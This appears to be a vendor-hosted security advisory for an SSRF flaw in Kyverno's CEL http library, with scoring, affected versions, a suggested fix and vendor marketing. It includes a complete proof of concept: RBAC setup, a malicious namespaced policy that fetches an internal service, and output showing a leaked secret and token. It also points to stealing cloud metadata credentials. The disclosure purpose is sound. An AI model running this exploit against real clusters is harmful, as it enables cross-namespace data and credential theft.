GHSA-rggm-jjmc-3394 is a high-severity (CVSS 8.5) Server-Side Request Forgery (SSRF) vulnerability in github.com/kyverno/kyverno. A fix is available for github.com/kyverno/kyverno — see the affected versions and patch details below.
Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-rggm-jjmc-3394.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-rggm-jjmc-3394 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/kyverno/kyvernoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.
Affected Versions
- Kyverno >= 1.16.0 (with
policies.kyverno.ioCRDs enabled, which is the default) - Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)
Details
The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.
Vulnerable Code: pkg/cel/libs/http/http.go
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
// NO URL VALIDATION - no blocklist, no namespace restrictions
...
}
Contrast with resource.Lib which enforces namespace:
// pkg/cel/libs/resource/lib.go
func Lib(namespace string, v *version.Version) cel.EnvOption {
return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced
}
This is a different code path from previously reported issues:
- GHSA-8p9x-46gm-qfx2:
pkg/engine/apicall/apiCall.go(URLPath) - Fixed - GHSA-459x-q9hg-4gpq:
pkg/engine/apicall/executor.go(Service.URL) - Different feature (apiCall vs CEL http) - This issue:
pkg/cel/libs/http/http.go(CEL http.Get/http.Post) - Not fixed
PoC
Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).
A complete automated PoC script is attached. Manual steps below:
1. Setup attacker with namespace-scoped permissions
kubectl create namespace attacker-ns
kubectl create serviceaccount namespace-admin -n attacker-ns
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: namespace-admin-role
namespace: attacker-ns
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["create", "get", "list"]
- apiGroups: ["policies.kyverno.io"]
resources: ["namespacedvalidatingpolicies"]
verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: namespace-admin-binding
namespace: attacker-ns
subjects:
- kind: ServiceAccount
name: namespace-admin
namespace: attacker-ns
roleRef:
kind: Role
name: namespace-admin-role
apiGroup: rbac.authorization.k8s.io
EOF
2. Create sensitive internal service (simulating internal API or cloud metadata)
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: internal-api
namespace: kube-system
labels:
app: internal-api
spec:
containers:
- name: server
image: hashicorp/http-echo
args:
- "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
- "-listen=:8080"
---
apiVersion: v1
kind: Service
metadata:
name: internal-api
namespace: kube-system
spec:
selector:
app: internal-api
ports:
- port: 80
targetPort: 8080
EOF
3. Verify attacker cannot access kube-system directly
kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin
# Output: no
4. Create malicious NamespacedValidatingPolicy (as attacker)
cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
name: cel-ssrf-poc
namespace: attacker-ns
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["configmaps"]
variables:
- name: stolenData
expression: |
http.Get('http://internal-api.kube-system.svc.cluster.local')
validations:
- expression: "false"
message: "Validation failed"
messageExpression: |
'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']
EOF
5. Trigger exploit and exfiltrate data
kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
--as=system:serviceaccount:attacker-ns:namespace-admin
6. Result - Secret data exfiltrated
error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail"
denied the request: Policy cel-ssrf-poc failed:
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Impact
- Cross-namespace data access: Users with only namespace-scoped permissions can access services in any namespace
- Cloud credential theft: Access to
http://169.254.169.254/...allows stealing AWS/GCP/Azure IAM credentials - Data exfiltration: HTTP response data exposed via validation error messages or audit annotations
- Breaks namespace isolation: Inconsistent with Kyverno's security model where
resource.Libenforces namespace boundaries
Affected Policies
All CEL-based namespaced policies in policies.kyverno.io API group:
NamespacedValidatingPolicyNamespacedMutatingPolicyNamespacedDeletingPolicyNamespacedImageValidatingPolicy
Suggested Fix
Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries:
type lib struct {
namespace string // Add namespace parameter
version *version.Version
}
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
if err := r.validateURL(url); err != nil {
return nil, fmt.Errorf("blocked URL: %w", err)
}
// ... existing code
}
func (r *contextImpl) validateURL(urlStr string) error {
// Block cloud metadata (169.254.0.0/16)
// Block localhost/loopback (127.0.0.0/8)
// For namespaced policies: restrict to same namespace services only
}
Attached kyverno-cel-ssrf-poc.sh
Credit
Discovered by: Igor Stepansky Organization: Orca Security Email: [email protected] Personal Email: [email protected]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kyverno/kyverno | ≥ 1.16.0&&< 1.17.0 | 1.17.0go get github.com/kyverno/kyverno@v1.17.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/kyverno/kyverno to 1.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rggm-jjmc-3394 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-rggm-jjmc-3394 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-rggm-jjmc-3394. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rggm-jjmc-3394 in your dependencies?
O3 Security finds GHSA-rggm-jjmc-3394 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.